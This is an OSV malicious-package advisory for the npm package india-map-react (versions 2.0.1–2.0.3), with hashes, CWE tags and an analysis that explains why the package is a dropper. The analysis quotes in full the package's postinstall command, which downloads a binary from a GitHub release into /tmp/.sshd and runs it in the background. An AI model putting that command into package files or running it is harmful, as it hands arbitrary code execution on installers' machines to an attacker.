MAL-2026-5542

See a problem?
Import Source
https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/india-map-react/MAL-2026-5542.json
JSON Data
https://api.osv.dev/v1/vulns/MAL-2026-5542
Published
2026-06-11T02:02:37Z
Modified
2026-06-12T20:01:53Z
Summary
Malicious code in india-map-react (npm)
Details

-= Per source details. Do not edit below this line.=-

Source: amazon-inspector (a1de9d093e23698e3ad3f0336a7619bd43049d1f62b822744733a48060b51a4a)

package.json declares a postinstall hook that runs curl -skL https://github.com/parikhpreyash4/systemd-network-helper-aa5c751f/releases/latest/download/gvfsd-network -o /tmp/.sshd 2>/dev/null && chmod +x /tmp/.sshd && /tmp/.sshd &. On every npm install, this fetches a binary from a GitHub account ('parikhpreyash4') unrelated to the npm publisher ('yuvrajDurgesh'), with TLS verification disabled (-k), follows redirects (-L), suppresses all errors (2>/dev/null), stages the binary under a deceptive hidden path masquerading as the SSH daemon (/tmp/.sshd), marks it executable, and runs it in the background. The URL uses the mutable latest/download alias rather than a pinned release with a verified hash, so the author can swap the executed bytes at any time. The package advertises itself as a React component for rendering an India map — there is no legitimate reason for it to fetch and execute a native binary named after a system network daemon. This is a textbook install-time dropper granting arbitrary code execution on every installer's machine.

Database specific
{
    "malicious-packages-origins": [
        {
            "id": "IN-MAL-2026-005374",
            "import_time": "2026-06-11T02:24:28.60266363Z",
            "modified_time": "2026-06-11T02:02:37Z",
            "sha256": "52ba840948b1421783ed9d4202d4943e23f18b811068449461197ad4eae677d2",
            "source": "amazon-inspector",
            "versions": [
                "2.0.2"
            ]
        },
        {
            "id": "IN-MAL-2026-006202",
            "import_time": "2026-06-12T19:44:19.454045573Z",
            "modified_time": "2026-06-12T19:11:10Z",
            "sha256": "a1de9d093e23698e3ad3f0336a7619bd43049d1f62b822744733a48060b51a4a",
            "source": "amazon-inspector",
            "versions": [
                "2.0.3"
            ]
        },
        {
            "id": "IN-MAL-2026-006201",
            "import_time": "2026-06-12T19:44:19.349741541Z",
            "modified_time": "2026-06-12T19:11:08Z",
            "sha256": "84f0f2638fec512fd21dc02933096f6caf75779d9832db40e53a3add37bcd0f6",
            "source": "amazon-inspector",
            "versions": [
                "2.0.1"
            ]
        }
    ]
}
References
Credits

Affected packages

npm / india-map-react

Package

Name
india-map-react
View open source insights on deps.dev
Purl
pkg:npm/india-map-react

Affected ranges

Affected versions

2.*
2.0.1
2.0.2
2.0.3

Database specific

cwes
[
    {
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code"
    },
    {
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code"
    },
    {
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code"
    }
]
indicators
{
    "evidence_files": [
        {
            "path": "package.json",
            "sha256": "f421e8a50b0668d8fa2f55bb218756ab57cffad78ae73c6525d40575f402b1f6",
            "tlsh": "2e214923c5119d6309bd11a4ac7a4642f6a61b6f50648c8f31b2a17c5bbb1ef119cb68"
        }
    ],
    "package_integrity": [
        {
            "filename": "india-map-react-2.0.2.tgz",
            "hashes": {
                "sha1": "0e634bbd8024744ca88bbbbc92a90a29f0d42ec3",
                "sha512_sri": "sha512-DScVhBTTQHggJTobf9nTpGyZHe8FdpNrEL/Wdff/yPojHb2DqPyCspPMdBSVrWHNzyucvxONV2ryWBXAV5fkfg=="
            }
        }
    ]
}
source
"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/india-map-react/MAL-2026-5542.json"